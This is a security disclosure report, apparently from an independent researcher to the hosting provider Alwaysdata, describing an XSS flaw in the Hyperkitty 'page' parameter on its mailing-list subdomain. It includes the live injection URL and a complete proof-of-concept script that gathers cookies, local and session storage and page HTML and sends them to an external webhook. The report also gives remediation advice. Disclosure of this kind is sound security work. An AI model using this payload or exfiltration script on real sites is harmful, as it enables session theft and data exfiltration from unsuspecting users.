Task Description
From: Raden Adhiyaksa Indiharto Security Researcher Email: radenadhiyaksa89@gmail.com
To: IT Team, Alwaysdata https://alwaysdata.com
My name is Raden Adhiyaksa Indiharto, an independent security researcher. I have discovered a Stored Blind Cross-Site Scripting (XSS) vulnerability on the subdomain mailman.alwaysdata.com within the Hyperkitty application.
This vulnerability allows an attacker to inject malicious JavaScript code that is stored and later executed in the browsers of other users or administrators when accessing a specific page.
Vulnerability Details Type of Vulnerability: Stored Blind Cross-Site Scripting (XSS)
Vulnerable Parameter: ?page=
Affected URL:
https://mailman.alwaysdata.com/hyperkitty/?page=%3Cscript%20src%3D%22https%3A%2F%2Fradenadhiyaksa.github.io%2Fbxss-stealth%2Fstealth.js%22%3E%3C%2Fscript%3E&sort=active
Payload (URL Encoded):
<script src="https://radenadhiyaksa.github.io/bxss-stealth/stealth.js"></script>
Impact
Proof of Concept (PoC) I created an external JavaScript file that collects user environment data and sends it to a webhook I control. This demonstrates successful execution of the injected script on the victim’s browser: stealth.js script:
(function () {
const data = {
cookie: document.cookie,
location: location.href,
referrer: document.referrer,
userAgent: navigator.userAgent,
platform: navigator.platform,
timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
screen: {
width: screen.width,
height: screen.height
},
localStorage: JSON.stringify(localStorage),
sessionStorage: JSON.stringify(sessionStorage),
html: document.documentElement?.outerHTML?.slice(0, 1000),
ts: new Date().toISOString(),
id: Math.random().toString(36).substring(2)
};
// Kirim via fetch (utama)
fetch("https://236fb3a628ae3f3aef9dc3bd171c41c6.m.pipedream.net", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(data)
}).catch(() => {
// Fallback jika fetch gagal
new Image().src = `https://236fb3a628ae3f3aef9dc3bd171c41c6.m.pipedream.net/?id=${data.id}&url=${encodeURIComponent(location.href)}&ref=${encodeURIComponent(document.referrer)}`;
});
})();
This script is executed automatically when the vulnerable page is loaded, confirming the presence of stored XSS.
Recommendations
Sanitize and escape user input in all parameters, especially the page parameter, before rendering them in HTML.
Implement strict input validation and whitelist allowed characters.
Use secure templating engines or frameworks that automatically handle escaping to prevent XSS.
Consider enforcing a strong Content Security Policy (CSP) to restrict script sources.
I hope this report assists in enhancing the security of your platform. Please feel free to contact me if you require any further information or assistance in verifying and fixing this vulnerability.
Thank you for your attention and commitment to security.
Sincerely, Raden Adhiyaksa Indiharto Security Researcher email: radenadhiyaksa89@gmail.com GitHub: https://github.com/radenadhiyaksa
Additional Note: Please let me know if you would like me to proceed with further exploitation and testing to better assess the impact of this vulnerability, or if you prefer to handle the remediation from this point onwards.
Link Video and Picture Proof of Concept [https://drive.google.com/drive/folders/1YcUBTOL5SmuPJ7QkdGXbj3YN3L-v7WHL?usp=sharing]
|